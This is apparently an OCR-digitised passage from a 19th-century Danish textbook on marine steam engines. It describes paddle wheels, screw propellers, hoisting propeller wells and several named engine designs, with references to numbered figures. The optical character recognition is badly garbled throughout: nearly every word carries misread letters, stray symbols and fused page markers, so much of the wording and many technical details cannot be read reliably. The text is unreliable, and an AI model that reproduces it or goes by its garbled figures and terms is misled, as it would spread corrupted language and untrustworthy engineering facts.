Sictning til boeranben SRabie. ©foplenie H, af Irctc, foefle* til Siabierne meb $aget
fom K, gjeengebe paa Enben og forfpnebe meb SWøttriffcr, fom trpffc mob ©lutptabcr
paa Iratet.
©foslbjutet* Isiameter beflemme* af Sjelen* $øibe orer ©fibet* S3anblinie; jo
flerre $jut man fan bare, beflo minbre Jnbftnbetfe bar goranbringer i ©fibet* tspb»
gaaenbe paa ©fopterne* SSirfning, men #enfpnet fertil maa fom oftefl fiaae titbage for
anbre .fjrnfpn, faa at. SRaffiner af en og famtne .©eflfraft unbertiben faae jlore, unber»
tiben fmaae $juul. Sntallet af ©foster er gjerne 1 for boet gob* liaineter af fcjutet
og Sreatet af famtlige ©foster i begge £>ju[ 2 C.sabratfob rt. .^eflfraft ; bog forefoninte
ogfaa betpbelige Sfsigetfer berfra ; noget flerre eller noget minbre Sfoslflabe besirfer
nemlig iffe anben goranbring enb en libt minbre etter tibt flerre gorffjel meflem £a*
fHgbeben af #jutet« $eripf>erie og af ©fibet. gor at forminbjfe ben seb ©fosterne*
Snflag mob Saubet besirfebe Slpften af ©fibet brnger man ofte at bete ©fosterne i
to £atrjToster I, I, br ora f ben ene foette* paa gorfant, ben anben paa Sgterfant af
tRabien. ©tore fsjut faae for bet mefle fun fjafst faa mange Stabier fom ©foster;
boeranben af bi*fe, enfett etler beclt i $alsffosler, foejle* ba tit en metlem begge be
pbcrfle Stinge anbragt ©finne eller ^satsrabie. gorffjetlige anbre leiinger og Snorbningcr
af ©fosterne base saerct forfogte, uben at nogen saefenttig gorbeel berseb sanbte*.
§ 28. $il man i et ©fib meb tasttiggenbe Doet og fom gotge bercif fmaae
$jut anbringe en fraftig røaffine, faa opflaaer, naar ©fibet seb at tajlc* fommer bpberc
i ®aubet, ben Ulempe af foebsantige Sfostbjut, at ©fosterne fiaae an mob Sanbflaben
i en meget ffraae Stilling, bsorseb firafttab og solbfom Ettpjlelfe fremfommer. SRan
ansenbet ba meb gorbeel ^jut meb besoegetige ©foster (Morgans feathering paddles)
boi* 3»bretning er siift i gig. 46. #julcentret og Siabierne ere anbragte paa faeb*
santig SRaabe, men ber er i Stminbetigbeb fun een Sting, og ubenfor ben ere Siabierne
frummebe for bebre at mobftaae Irpffet paa ©fosterne. Di«fe ere iffe faeflebe ti!
Stabierne, men tit T formebe Srmc fom BD, ber funne breie fig om Strter gjennem
Enberne af Siabierne. Ejeentriff meb Sjelen er paa #ju(fa«febjelfen anbragt en lap
C, og om benne breier fig en ©fise 00. ©tprarmen CB er fafl til ©fisen og meb
ben anben Enbe forenet til en af ©fosterne meb Seb; berseb fore* 00 engang runbt
om tappen for (iser Ombreining af hjulet. De øsrige Srme etler ©tenger, E, $a»e
Digitized by Google
40
Bcb begge Snber. Derfom %entrieiteten AC tar lig Slfjhitben rnettem Senterne
i ©forlarmen BD, 03 AD = CB, AD' = CB’ 0. f. t., faa biete giguremt
ACBD, ACB'D’ 0. f. t. altib Parattelogtammer, og oat AC ^orijontal, faa Tom
©foolflabctne altib til at ftaae terticale 03 blite bnppebe paa Kant neb i Sknbet iflebetfor
at flaat an i ffraae Metning. |>eraf tilbe imiblettib fremfomme en fult» Ombrtining
af ©fotlerne, meb to bobc Punfter, fom let funbe foraarfage ®rub. 2Wan giot berfor
altib AC noget minbre enb BD, Imorteb ©fotlerne fontrne til at gaae ncb i 03 op af
Sanbet t en noget ffraae Stilling, og foronrigt betægc fig frem 03 tilbage faalebeø
fom giguren oifer. Slnflaget blioer attigetel langt forbeelagtigere enb meb fajte ©fotler.
JDa et faabant -£>jut inbetjolber mange Seb, fom gaae i ffianb, og herfor iffe funne
bolbeø fmurte, faa ftibcø bet fort; 3ie og anbre fiegemer, fom flpoe i 23anbet, boie
let en Slrm eller en ©tang, og ba er bet hele £jul i Uflanb. paa foegaaenbe ©fibe
bor bcwrgcligc ©fotler berfor iffe antenbc*. ©etinften Peb bent, naar man fan bate
nogenlunbe ftore $jul, er feller iffe tiljiroeffelig til at opoeie ben forøgebe Mejico
og ©littage.
§ 29. Da bet paa et Krigøffib er en $otebforbring til OTaffinen, at ben er
ffttbfri, nltfaa ligger unber ©fibetø Sanblinie, faa forføgte man allerebe fot loengcre
Sib ftben at conftruere Sfotllijitl, fom funbe gaae beelt nebbpffebe unber fflanb. Cp»
gaten er feuere loft paa en mere tilfrebøitittenbe SDiaabe teb Slntenbelfe af en ©frue
fom grembritningømibbel iftebetfor ©fotlbjul.
OprnttcO en retoinflet Iriangel paa en Shltnber, faa fremfommet ben fæbtanlige
©frnelinie eller ©jaengc, AFC, gig. 48. ©fruené Mabiuø 03 Diameter ere be famme
fom (Splinterenø ; teb ©fruens ©tigning forftaaer man 2lfjlanben mellem to og to
©jaenger, btoraf CB er $a(tbelen. SBetaeger en Dtabiuø DC jtg meb ben ene (jénbe
langé 2tjclen, meb ben anben langa ©joengen, faa beffriter ben en hum glabe af faa»
ban SicffajfenbcD, at ben teb at gjennemffjæreø btorfombelil meb en ©plinberftabe, ber
bar DE til 2lrc, giter cit ©fruegjoenge meb famme ©tigning fom AFC. DampffibS»
ffruerne etter Propcllerne, fom be ogfaa falbeø, ere ©tpffer af en faaban frum glabe,
anbragte fom SBinbntøUetinger omfring en Slrel. utallet af Slabc, (af ©tpffer af ben
fruntme glabe,) er forffjedigt, fra to op til otte, og be ubgjorc gjerne tilfammen 1 U
å V3 ©jixnge for toblabebe, Va for fteerblabcbe ©fruer. SUtan bar ogfaa teb 2lfti»
gelfer fra ben egentlige ©frueform bannet mange forjTjetlige propellere, røan bar t. ©r.
iftebetfor ben retoinflebe Sriangelg .jjppothenuø fat en frum fiinie mob ben concate ©ibe
opab, og faaer ba en ©frue nieb ftoerfere ©tigning teb 2(gtcrfantcn enb teb gorfanten.
Jfienfigten benneb er at foroge ffiirfningen af ©fruené agterfte Deel paa be Panbpartifler,
fom allerebe ere fatte i Sctcrgelfe af ben forrefte Deel. 2San bar bannet ©fruer, IjoiS
©tigning aftager inbab mob 2!relen, btorteb Plabene blite noget fitrrfere. røan bar
enbelig, teelø for at foroge ©tprfen, beelg for at biubre ©fruen i at fajte SJanbct fra fig,
boirt Slabcne, faa at be jrf frumme Mabier, etter forfpnet bem meb ubjlaaenbe Kantet,
{jibtil bar bog itfe nogen af be mange gormer af propellere, btormcb ber bar tæret
eiperimenteret, tunbet noget afgjort gortrin fremfor be anbre, faa at forffjeflige ©lagø
ere i Prng og npe projeetereø jetnlig. Sil fobberforbubebe ©fibe maa Propetteren toer e
af SRetal; til 3 er uffil'c etter SraefTibe uben Stobberbub er ben af 3 f rn, beelø ftobt,
beelø fmebbet,
§ 30. Propell erne funne, efter ben SKaabe, btorpaa be jtaae i gorbinbelfe
meb 2Irelen, beleø i to ^otebclaøfer, nemlig fajte propellere 09 Cpbetøningøpropettere.
Digitized by Google
14
li! ten forfie Staøfe benftore ade StopedeTe meb flere cnt tø State; te flaae fafl paa
Speten paa ten i gig. 47 oifle Kaabe, og raaae attfaa, naar ©fibet feitet og Sro*
pederapelen er affoblet fra StRaffinen, breie tenne ronbt. gig. 50 eifer en fejblabet
Sropeder, forf&net ntet en Sting paa Snben af Stabene, ter flptfer biøfe og gjør tet
mutigt at tonflruere Sropedercn betpbetig lettere, uten at ben terfor er ubfat fot at
mifte Sfabe, naar ben flober imob ©jenflanbe i Sanbet; Stingen oanfletiggjør ogfaa,
ibetminbfle i mange Jilfcelbe, faabanne ©jenflanbeø Snttreengen meltem Stabene. 35a
ben inbre JUect af et Stab oirfcr tibet men reier meget, conflruereø flerre fejbtabebt
Sropedere ogfaa forn gig. 51, meb en tRing omtrent paa Jtiibten af tRabien, og ben
oirffommc pbre $afobee( af Stabene ubenpaa ben. Gonflruetionen f>ar ben gorbeef, at
man tan erflatte et afftaaet Stab uben at fløbe ben bete Sropeder om. 3Ran flar
fljropetlere meb Sting utenom, forn gig. 50, og fire bete Slabe, famt fire $>alebtabe
faflgjorte til Stingen. 35e fire og trebfabebe tf3ropeUere ere bog i Sllminbetigbeb
uben Sting.
35en tobtabebe Sropeder, gig. 49, brugeø beet* forn fafl, beeté til at beife op.
3 fltfle litfoetbe bar ben intet 4?ul i Sentret, men tifflebte Streltapper, AA gig. 49
b. ®i«fe bare Jagere i en SRetatramnie B, B, B, forn sanbrer meltem SRetatflinner
C, C paa begge Slgterfleoncne, og fan tittigemeb SropeUeren beifeø op af Sanbet i en
firfantet Jrommet i Slgterffibet, ben faafatbte Srønb. Sropederenø forreflc Stjettap fiar
en gure, boormeb ben griber oter en ubflaaenbe ©eet paa Snben af Slreten ; Sropefleren
maa attfaa unber Stebfiringen flotbeø noie oerticat Peb #jae(p af et eder anbet ©tagd
Jaaøinbretning, og Stpeten flifltf i en tilfoarenbe ©titling. 3fl e betfor ben enfette gure,
boorpaa bete Sflajfincnø Kraft anoenbeø, brugeø ogfaa et forøformigt eder firfantet f?u(,
og Sljelen inbrettet tit at trasffe forefter, naar Sropederen ffat peifeø op. D,D er
•$af i SRetatffinnerne paa ©tetnene, b»ori galbpater paa Siammen gtibe unber Cp=
beiøningen, fot at fllropederen iffe ffat fatbe neb, om ®icn, boormeb man fyeifer,
fpringer. 2>a fPropclIer og Stamme til et flerre ©fib oeier 15 tit 20,000 W , faa er
Opbeiøning og Stebfiring i onbt Seir beøuagtet en temmelig miøtig Operation. éooeb=
inboenbingen mob Cpbeiøningøpropederen er imibtertib, at ©finnerne paa ©ternene retffe
op ooer Sanbet, og berfom biøfe edet Jommetne, boorpaa be ere faflbottebe, troeffeø af
©fub, faa tomme Jagerne tettetig ub af fin ©tidtng, og ©fruen oil ba meget fnart
gaae iflaa. Srcnben i Slgterffibet raeffer beett op tit øocrfle Doet, optager faatebeø
betpbelig Stabø og focrffer Slgterffibetø gotbinbing ; for at funne gjere Stenben fmalere
bar man foreflaaet at bcle ben tobtabebe tJJropeder efter Joengben og flide ben ene
•&atobeel bag ben anben, faatebeø forn oiifl i gig. 52. 2Ran ffat eitbog paa ben
SWaabe funne gjøre Sropederen faa fmat, at ben unber ©eitabø fan flideø i Jae bag
Steenen, uben at ben taber oocfeuttigt i frembrioenbe Kraft, naar SRaffinen gaaer; 3nb*
retningen er imibtertib iffe eubnu titflroeffetig prøoet. 3 famme ®iemeb bar man con»
flrueret flkoPedtre meb Stabene tit at breie langffibé unber ©eitabø, men be ere iffe
fomne i Srug, ba be neppe funne gjereø fotibe not. S3aa ®tunb af be anførte
SRangter oeb Opbeiøningøpropederen paa ben ene ©ibe, ben fafle Stopedcrø flRobflanb
unber ©eitabø paa ben anben, er bet for Jiben uafgjort foitfen af bem ber er ben
benflgtømoeøfigfle for Krigøffibe ; anbre Dampffibe bruge næflen ubetuffenbe fafl 'Jkopedet,
fom oftefl breocn meb Uboejling, tyooroeb SRaffinenø ^afligfeb og ©tittage btioer minbre
og Cfecten af en gioen Siaengbe Sroenbfel libt flerre.
Digilized by Google
42
©er er aflerebe i 3nbtebningen anført, f)»ori gorffjeden meflem Paotttifø etler
conbenferenbe SWafftner og ^)øitrt)témaffiner beftaaer, at nemtig be fibjte flippe ben
brugtc ©amp ub i duften Dg altfaa mangle adr til (lonbenfationen og Sonbenfationøs
øanbetø Sortffajfelfe benbørenbc ©eie. ©e ftefte {mitrpfømaffiner ere beregnebe paa at
gjøre mange ©lag, fra 60 op til 200 a 250 pr. fWinut, og be Wire beroeb iftanb
til at ubpitle en forlangt ^efiefraft meb forbolbéoiiø fmaae ©imenponer. ©elene con=
Pruereø forn ofteft libt ftccrfere enb til £astrt)fømaffinet ; forn SBeilebning fan man benptte
be foran gione SPegler, fjroraf be flepe ubtrpffe ©imenponerne i ©eie af @plinberbiame*
teren, naar man iPebetfor ■^oifrpfScplinberenø pirfelige ©iameter faettcr ©iameteren af et
©tempel, fom meb 20 Irof pr. Opabrattomme oilbe gioe famme ffraft fom bet
pirfelige ©tempel. $>øitn>fømajfincr bruge i ©ienncmfnit 50 til 100 % mere Sul
enb conbenfetenbe dPaffinet; berimob bebøoe be fun V 30 faa meget Banb; f>eii[t)n bertil
bepemme ofte, om bet ene eder bet anbet©lagø er at foretrcrffe. ^tøitrpfømapiner paa
nogle faa #ePeø Sraft brugeø meget i gabriffer og SBcrrfPeber; Sotomotioerne baoe ade
fiøitrpfømapiner, be perre paa 100 $ePrt Jfraft og beroper. ©gfaa paa ©fibe far
man anpenbt bem i be pbpe Slar, fjøoroni ncermere i ncePe Gapitel.
Digitized by Google
Jjjrd* dfaøM
gorffjelltge ©lugg ©øcmaffincr.
§ 1 . ©ett ælbre SteHancemaffine, f om enbnu «r i ©rug bau mange ©fibe, et
i ©ibetegning og ©jennemfnit i gig. 53. E er ©ambroret fta fijeblen, D ©itbe=
ffabct meb fiortflibe, A GtjlutCercn meb ©temblft B, ©tembelftangen C og benø £tær»
ftpffe U fctfiet meb fitle. Slfløbøcanalen 0 fotet baa ©iben nf ©amtcanalen P ben
brugte ©amb til gortætteren F; H et 3nbfbrøitningøroretø SKunbing, I Suftbumben meb
gobtentilen K og ©tigeoentilen L. N er Klabningen af gøbebumbené ©ugerøt, M af
Slflobøroret fot bet narme Sanb, G en baa ®armtanbéfaøfen anbragt SBinbfjebte, bet
gjot Slfløbet jetnere. V et ©ibejlængeme fta Sblinbcrttærflijffet, a, a $araUe(fiængerne,
b ©ttjrflangen, c Sentret fot Satlancen dd flobt i eet meb gortætteren. SWeHem begge
Sallancet et anbragt Srærfit)ffet Y fot gorbinbelfeøjfangen X, bet briter firumtatben Z.
Solonnetne, fom bære £otebarelené Sagcre, ete fmebbebe og feaoe gorfiotninget af fmebbet
3ern; be brugeø ogfaa ftebte. e et Sjcenterffiten meb bens Slobtægt, f Grjcenters
(tangen, fom teb ftjcclb af ffiinfelrægtflangen i og Sebbet k' briter ©libejiangen k;
ofte forftyneø ogfaa ©libejiangen meb et Socetftbfte og to ©ibeftoenger, bet gaae til 2Irme
baa Sjrefen for SBægtflangen i ; benneø ene 2trm er fortænget og bar teb h et •feaanttag,
btormeb ©liben fan beraegcø for $aanb. Suftbumben bar et Itærflt)ffe, fom meb ©ibe*
(tenger ftaaer i gorbinbelfe meb ® a Hane en baa benncø (wire Sængbe. gøbebumben et
anbragt bag Suftbumben og briteø af benneø Jrærfltjtfe ; ©tembelftangen Q af gobe*
bumben, ber bar ©tering i Diamrcrrfct rtb R, gaaer nemlig gjennem et $ul i ©tærflljffet
til Suftbumben, Ittor bet fan fojleø meb en filemffrae, naar gobebumben ffal arbeibe.
Soøncø fi(em(fruen, faa tjener Q til ©ttjring for Sufttumbenø loocrfttjffe; en lignenbe
©tnreftang bor roere anbragt baa ben anben ©ibe, om man iffe bar en gobebumbe baa
b»er ©ibe af Suftbumben. firanen S og ffientilen T for ©jennemblæøningen ere tibligere
omtalte.
©et et en gorbeel oeb SaHancemaffinerne, at ffiægten af Sblinberjlemblet meb
befø Sifbeber afgiter en ©eel af ben firaft, fom befoteø til at brite Suftbumben unber
benø obgaaenbe ©lag; SaHancemafTinerne antageø ogfaa at gite (ione Gffect i gorbotb
til ©ambfotbruget enb be (lefle birectetirfenbe (DlafTiner; men be obtage mere $labØ og
bate flere ©eie; blanbt biøfe bate ®al!auceme og ©oærftbfferne til bem, fom oftefl
fnæffeø efter lerngere ©ibø Sntg. ©et famme er lilfælbet meb Olamtærfet, naar bet er
af ©tobejem.
§ 1 . 9lf bireetetirfenbe SJtaffiner til ©fotlbjul Brugeø be oøfciflerenbe meejl.
gig. 54 tifer Gtjlinberen baa (it Unbcrlag og forbunben meb firumtabhen D. ©en otre
Klamme A bæres af fire fmebbebe Solonner fom C, C og er boltet til to (tære Stær*
ffibøbjælfer B, B, ber i Hlminbeligbeb tiHige bære fjjuulfaøfebjælfen. E er Jnbgangø*
tabben for ©amben, F et ©ttyffe af ben Sægtftang, fom briter ©liben. gortætter og
Sufttumte ere gjerne fæflebø for begge ®la(Tiner og ligge imellem bem; Suftbumben er
anbragt i ffraa ©tiHing og briteø af en firumtab baa 21relen teb {tjælb af en got«
Digitized by Google
44
binbelfeøftang, font meb ®affel omfattet benø Ircrrftbffe. ©ette tar ©tbrerammer og
Gnberne brite i Slfminbeligheb boer fin gøbepumpe. 3ftebetfor ©soerftpffe og ©tpre--
rammet faaet fiuftpumpen unbertibcn ben i gig. 55 rifle 3nbtetning. Stemplet B bar
ijtebetfor ©tempelfiang en forooen aaben Splinter FF, fæbranlig fafbet Irunt, riib not
til at gorbinbclfeøftangen beri fan gjøre ftn Sinfelberoegelfe. E et Krumtappen, C et
8eb, forn fotbinber ©tangen meb ©templet; bette bar (ire minbre Sibffeloeberø Sentiler,
anbragte runbt om ©runfen; gobbentilen et ligcban inbrettet. ©tigetetet H bar ben
foebranlige Klapsentil, ber iffe er stift i giguren. gøbe« og Scenøpumperne ere ligebah
inbrettebe (meb Irunf) og britcø af Slrme, fom jtaae ub fra Gpltnbertn og altfaa gjøre
famme Sinfelbesægelfe fom bcnne. 2eb fom C ere panjtetige at bolbe i ©rben, ba man
iffe fan fomme til at ffrue bereø Cagermetaller fammen efterbaanben fom be flibeø.
©libebepaegelfen til bette ©lagø ffiaffiner er tibligere beffreren. ©e oøfcillercnbe 5D?afliner
tage liben IfSlabø og pøre til be lettejte, man fan conjintere ; be flibeø berimob temmelig
fort, i fatt i Gplinbcrtapperneb fieier, brorpaa ber unber opgaaenbe ©lag gaaer et Srpf
ligt ©templetø bele Kraft forøget meb GrlinberenØ Soegt. IRrugen af fceflebø gortætter
og fiuftpumpe er, fom anført, bet fæbranlige oeb biøfe røaffiner, men ingenlunbe ben*
figtømceøfigt ; tbi fommet noget i lllare oeb en af biøfe foedebø ©eie, faa ere begge
•KafTtner ubrugclige. Dtaar ijBrifen iffe tommer for meget i ©etragtning, forfpneø berfor
brer SUiaffine meb fin færjlilte gortoetter og Suftpnmpe.
§ 3. Garlfunbø birectepirfenbe SWaffme for ©fosibjul cr Piifl i ©jennemfnit i
gig. 56 og be to STOaffinerø inbbprbcø Slnorbning tillige i fJSlan. A er Gplinbereit meb
nebbulet SSunb og 8aag, B ©templet af famntc gorm meb to ©tempeljiænger og ©tær*
ftljffct C af ben i gig. 40 nærmere rifle 3nbretning. I er gøbepumpen, G Suftpumpen,
H benø ©tige eller ©oprentil; Slflobørøret for bet rarmc ffianb ubgaaer fra ben H
otngirenbe Kappe, ©egge- SDiaffiner bart foedebø ®unbplabe, booti 9ium for gortoctningen
er anbragt ubcnom 8uftpumpenø nebre ©eel. ©libeffabet K og ©amprøret L er ligelcbcø
fællebø. ©oprammen cr ligcban fom paa be oøfcillerettbe Siaffincr. ©a ©templctø SScegt
og Suftpumpen unber opgaaenbe ©lag rirfe fammen i biøfe røajTiner, beborc be en SDiobs
rcegt, fom fcebranlig anbringeø paa hjulet i gorm af en Sernfforl. ©iøfe IPiaffiner
tage iffe mere ®labø enb be oøfetllerenbe, funne conftrnereø ncrfien ligefaa lette, pg ere
meget folibe. ©erimob bringer gorbinbclfeøftangen, uagtet 9Jebf)ulingen i Gtjiiuberlaagct,
$orebajelen noget bøiere.
§ 4. SBaubølcpø ©obbeltct)linber;2tiaffine (gig. 57) er en eienbommelig Sons
ftruction, figtenbe til at bringe aijclcentret faa lart fom muligt, ubett at forforte ©laget
eller gorbinbclfeøftangen. ®e to Kplinbere A, A tilhøre een SMaffine og hare ©libeffab
og ©libe fællebø; gjoefene paa ©liben ere cplinbrijfe; forørrigt er ben inbrettet fom en
D ©libe. SBcgge ©tempelftoenger gaae til famme Srærftpffe B, ber et fammenfat af
to ©laber ligefom bet (EarlfunbfTe, men faa bpbt, at bttø nebre Gnbe gaaer meb en
Klobø C imellem ©tpreribber D, D paa Gplinberne. ®a Irpffet af gorbinbelfeøjiangen
gaaer paa biøfe Dtibber, funne be, fom ftpre ©ooerftpffet orentil, rære lettere bpggebe.
gra C ubgaaer nof en gorbinbelfeøflang, fom beroeger ben ene ®nbe af en ©cegtjiang
HG, hriø anben Gnbe briter Suftpumpen. Gljlinbetftempleme og Suftpumpen mobreie
faalebeø binanben, ligefom i' Sadancemaflincme. #orebinbrenbingen mob benne SRaffine
er, at Kraften paa be to ©templer let bliter noget forffjellig, og beraf opjtaaer ba ®rpb»
ninger paa ©rerfipffet og Oiamroerfet; ben tager ogfaa noget flerre ®(abø og er tungere
enb ben oøfciderenbe, faa at ben iffe brugeø meget. @n SWaffinc meb ringformig Splinter,
Digitized by Google
45
af famme Sonftrueteur, bnr i ©jennemfnit famme Ubfeenbe fom gig. 57, fun at man
forefliller fig be narmefte Splinberoagge at tilpore en inbre, be fjernefte en pbre Gplinber
mtb tingformigt Stempel og fiaag. ®en et oanffelig at forfoetbige og bruge* libet.
§ 5. Kapier* Sloffeftabelmaffine (steeple engine), gig. 60, er i 8rug paa
mange globfarteier og paa enfeltc focgaacnbe ©fibe. Splinberen fjar fire ©tcmpelfiaenger
meb faclleb* Soarftpffe, fom flpre* ntellem to Ijdie Kammer E, E, bet rceffe ^ott op
o»er Steffet og paoe gioet SJiaffinen ftt Oiaon. gra Jpærfipffet brire* Krumtappen meP
en nebabgaacnbe gorbinbelfe«ftang, og fiuftpumpen paa famrae SKaabe fom i ICobbelt»
cplinbermaffinerne. SDitsfe ©iaffiner funne truge Gpltnbére meb langt ©lag, uagtet Kjelen
ligger laot, og ffulle tære forbeelagtige meb $enfpn paa djfecten, men fotaarfage en
betpbelig Sopenragi. £>et famme fan opnaae* ocb UWaffiner meb faatalbte •fimlobaUaucer,
bet er, ©agtflanger meb fafi Senter i ben ene Snbe og forbunbne meb ©ibefiocnget tit
Splinbertpar|tpffet ocb ben anben. gorbinbelfe*flangen til Srumtappen og fiuftpumpen*
©ibegcenger ere anbragte imellem Splmbcren og ©allanccn* fajle Senter. lil enfelte
grunbgaaenbe og fmale globfarteier truge* SWajfiner meb SpHnbere, fom ligge paaffraae,
forenfor og agtenfor Kjelen, og pirfe paa famrae Srumtap. ©iange lignenbe, af loeale
$enfpn fremfalbte Sonfhuctioner ere anoenbte, men baoe ingen alminbelig 3n t(tt *f e -
§ 6. URaftinen gig. 58, ber brioer ©frue, er anoenbt paa be ffefie af pore
SrigOfftbe. A et IDamproret fra SjeOlen, b $aanbtaget til en glibenbe ©trubeoentil,
ber beparge* meb en Sagtjiang eller en ©frue og er inbejluttet i JfaSfen BB; benne
ligget ooenpaa bet fot begge røaffiner fcetleb* ©libeftab CC. c, c er ©tibeflængerne,
e, e to ©ar Sjcenterffioer, inbrettebe for fiomfebeoægelfe. Sjcenterftønger og fiaenfer ete
for Spbeligpeb* ©fplb ubelabte af giguren. D, D er Ubfidbninget paa Splinberne for
SDampcanaler og KflobScanal, poilfen pbjte fortfoette* i D', D' og i be to mibterfie
Kammer, bet ere pule og afgipe i gorening meb ben neberfle 2>eel af ffientilfa*fen L
fRum for gortcetningen. E, E er begge Splinberne, poer meb to lange ©tempeljtenger,
fom naae orer paa ben anben ©ibe og fore loarjipffeme F, F. 35iSfe baoe nebboiebe
Snber, forfpnebe meb røetalffoe, m, fom oanbre i ©tprerammerne G. gorbinbelfe*»
flcengerne H, H ftaae meb ©troplager om Ipoerjipffernc og om ©inbene i Srumtapperne
K, K, pooraf ben agterfte foret SlffoblingOffioen I. 9tf SDlefalffoene m brioer bet
pberjle ©ar gobepumperne N, bet inberfte ©at fiuftpumperne M, af ben i gig 38 rifle
3nbretning. ©umperne N Pirfe fom gobepumpet meb ©entilparret h, fom fiotn*pitmper
meb ©entilpanet i; n, n er ©ugerørene, k, k ©tigerorene for gobningen; p ben
beloe*febe ©entil meb ben* ©aegt q. o, o er ©ugerorene, 1, 1 ©tigerorene for fiarné*
pumpningen, poi* ©ugeoentil meb en ©frue fan potte* f a fl nebe, naat ber er lam* (for
at unbgaae ©toi af bem). P et Kfleb«røret for bet oarme ©anb meb ©laboentit og
coniff ©entil oeb R, famt en ©afbo*fing reb Q fom gjot Senti!fa*fen L uafpctngig af
mulige ©etcegelfer af ©fibct* lommere, poortil R er faft. S, S et SolbPanb*franeme,
(©entil og Kran) fom tage ©anbct ubenborb* ; T, T be egentlige 3nbfproitning*franer.
SolbranMroret gaaer inbeni D' og ©iaffinrammen, ben unber KjeHageret, poor bet*
©traale tjener til at polbe bette folbt paa famme lib fom ben fortsetter SDampen. U, U
er et ©ar ftraner, poorfra ber gaaer Dior, fom funne tage Sonbenfation*oanbet inbenPorb*
i Jilfælbe af betpbelig fiæf, i prilfet Jilfælbe S, S luffe* og fiuftpumperne, ber gioe
omtrent 30 ©ange faa meget ©anb fom fiaen*pumperne, fomme til at pirfe fom fiatn*»
pumper. (3nbretning for bette ©ieraeb antringe* i ben feuere Jib paa be flefie ®amp*
flibe). gor ®jennembte*uingen et peb 8, s anbragt Sraner, fom fatte ©libeffabet i
Digitized by Google
46
birecte gorbinbelfe mtb 2iffob4canalen D', famt UMøbéfraner for SSanbef reb t, t.
fRainrærfet befiaaer af bc to mibterfte, fabfeformebc fRammer, ber bære gagere for røcQem»
ajelen og ete fløbte i eet meb guftpumperneb SernbplRer og boer fin #alrbeel af SBentiU
faSfen L; benneg glanger forbinbe bem reb ben ene Snbe; Gpltnbente og bet mellem*
tiggenbe ©libeffab reb ben anbcn. ®e to ^bre fRammer, ^ooraf ben agterfie bærer
gageret for ben forrefte Génbe af Sijetlebningen tit fgropellcrcn, bare bobbelt T formigt
©jennemfnit, og ere fafiffruebe til (vtylinberne meb ben ene Snbe, reb $>jæ(p af fRammerne
V, V til be mibterfie Srøaffinrammer meb ben anben. Debuben er SRamrærf og (iplinber
boltet til Unberlag af ©getømmer/ be faafalble ©Iccperb, ber igjen ere fafi forbunbne
meb ©fibetb fBunb. X er et Sanbbjuul, Y et ®rer, broroeb fDtajfinen tan bi»c$ runbt
fot $aanb ; naat ben ftal gaae, fætteb Y ub af 3nbgribning. Snbretningen af gagerne
fot fWellemajelen et riifl færftilt i gig. 59; fWetallerne ere beelte i rertical IRetning i
to ®ele a, a, font preéfeb fammcn af to Stiler c, ber bolbeb paa fJSlabb af SRøttrifferne
f. Ooerlageret d og betb Bolte e ere af ben fæboanlige 3nbretning ; naar bet aftageb,
tan man faae Stlobfen b op og bet ene SWetal ub ; oil man pare bet anbet ub, faa maa
Sijelen flptteb til ©iben. SjeUebningen agteroper til ijjropellerett bat be tibligere befftemie
gagere og jtoblingbinbretninger, famt paa bet agterfie ©tpffe, (fJJropeilerajelen) en grics
tionbinbreining, boormeb fjjropeileren fan ftoppeb, naar man unber ©eilabb ftal foble paa..
Denne Eonfiruction af 2Raftine bar ben gorbcel, at man meb getbeb tan tomme til enboer
®eel for at fmere eller reparere; ben er meget folib, men optager libt fiorre Blabb enb
nogle af bem, forn i bet golgenbe rille blire beffrerne.
§ 7. ffjennb birecterirfenbe ©fruemaffine, riifl i ©jennemfnit i gig. 61, brugeS
meeft paa engelfFe firigbffibe. ©plinbt-reu A Iiar ifiebetfor ©tempelftang en i begge
gnber aaben (iplinbet BB, ben faafalbte trunk, inbeni brilfeti gorbinbelfcSfiangen IK oanbrer
Begge SRaffinerb Splinbere ligge tæt fantmen, ©libeme orenpaa, og ben brugte ®amp
gaaer gjennetn fRorct R til gortætteren F. guftpumpcn brireb af en lang ©tempetfiang
dd, fom forbinber benb ©tempel meb ©plinberjtemplet ; ben er bobbeltrirfenbe, bat altfaa
to ©ugePentiler m, m og to ©tigerentiler n, n. D er Siflrbet for bet Parme Banb.
SRaffinen inbtager liben fJSlabb; •‘porebinbrettbingen mob ben er, at Jrunfen og ben reb
famme foregebe Cmfrebb af Splinbercn ubfiraale megen Barme, prorpeb Straft fpilbeb.
©teppenfonb Uiaftine, gig. 62, par fire ©tempelflænger, faftgjorte til en Jrunf
R, ber tjener fom ©tempel for ben enfcltrirfenbe guftpumpe B ; fororrigt nærmer ben fig
mere til Biaffinen gig. 58, eitb til fgennb. Der gires! flere lignenbe ©onfinicrioner,
beelb meb ©plinberne paa famme, beelb paa mobfat ©ibe af ©fibet. ©bfciHetenbe
(Eplinbere brugeb ogfaa til at brioe ©frue; be fninge ba paa begge ©iber af £ori;ontal*
linien, og ligge beelb to paa famme ©ibe, beelb een, beelb to paa brer ©ibe af ©fibet.
6n paa £>anbclbffibe brugelig ©onftruction er meb to rerticale oofcilletenbe (Eplinbere,
fiaaenbe langjfibb, og Ubrejling fra ben Stjel, fom be brire, til Bropellerajelen.
§ 8. ©arlfnnbb Binfelmaffine, gig. 63, pabfer bebfl for minbre, ffarpbpggcbr
©fibe. (Splinberneb Sirer gjøre en Binfel af omtrent 120 ©raber meb binanben ; beraf
fWaffinenb fRavn. ©om golge af (Eplinberenb ©tilling ligge Sfrumtappcrne 180° fra
binanben. A, A, A er Stammen meb fRurn for gortætningen, BB (Eplinberne, CC
©libeftabene meb Dampflibe og ©jpanftonbflibe, E Damprøret meb en Blabrentil fom
©trubeoentil. fRammer og (Eplinbere ere fafiffruebe til et irerffibbffub, ber bannet
3Raffittenb fornemfie gorbiitbelfc meb ©fibet; D et en Stagbolt til gorftotning mellem
(Eplinberne. SRaffinen bar ingen gøbepumper, men berimob fire enfcltrirfenbe guftpumper.
Digilized by Google
47
I, poi* pute ©templer (Slungere) G fipre* af Solte H, ber ere faftgjerte til ©plin*
berne (jtunbom bruge* ogfaa alminbelige ©tprerammer for loærjipffet). lo af Dufta
pumperne rirfe fom gøbepumper, naar man lufter be Sentiler V, forn finbefl meflem
begge Sentilfa«fer K, Ijooraf futt ben ene (af pocrt Sar) bar Kflobaror L. M er
gobepanbet* beloe*febe Sentil, N 3nbfprcitning*franerne. De to ®rpanjion«fliber bare
fæHebg ©icentrit, Dampfliberne poet jtn; Seperftonen foregaaer peb $joelp af ben i
noejte § frejTrePne 3nbretning. 0,0 et ©tunger, fom forbinbe ©trubeoentilcrne* og
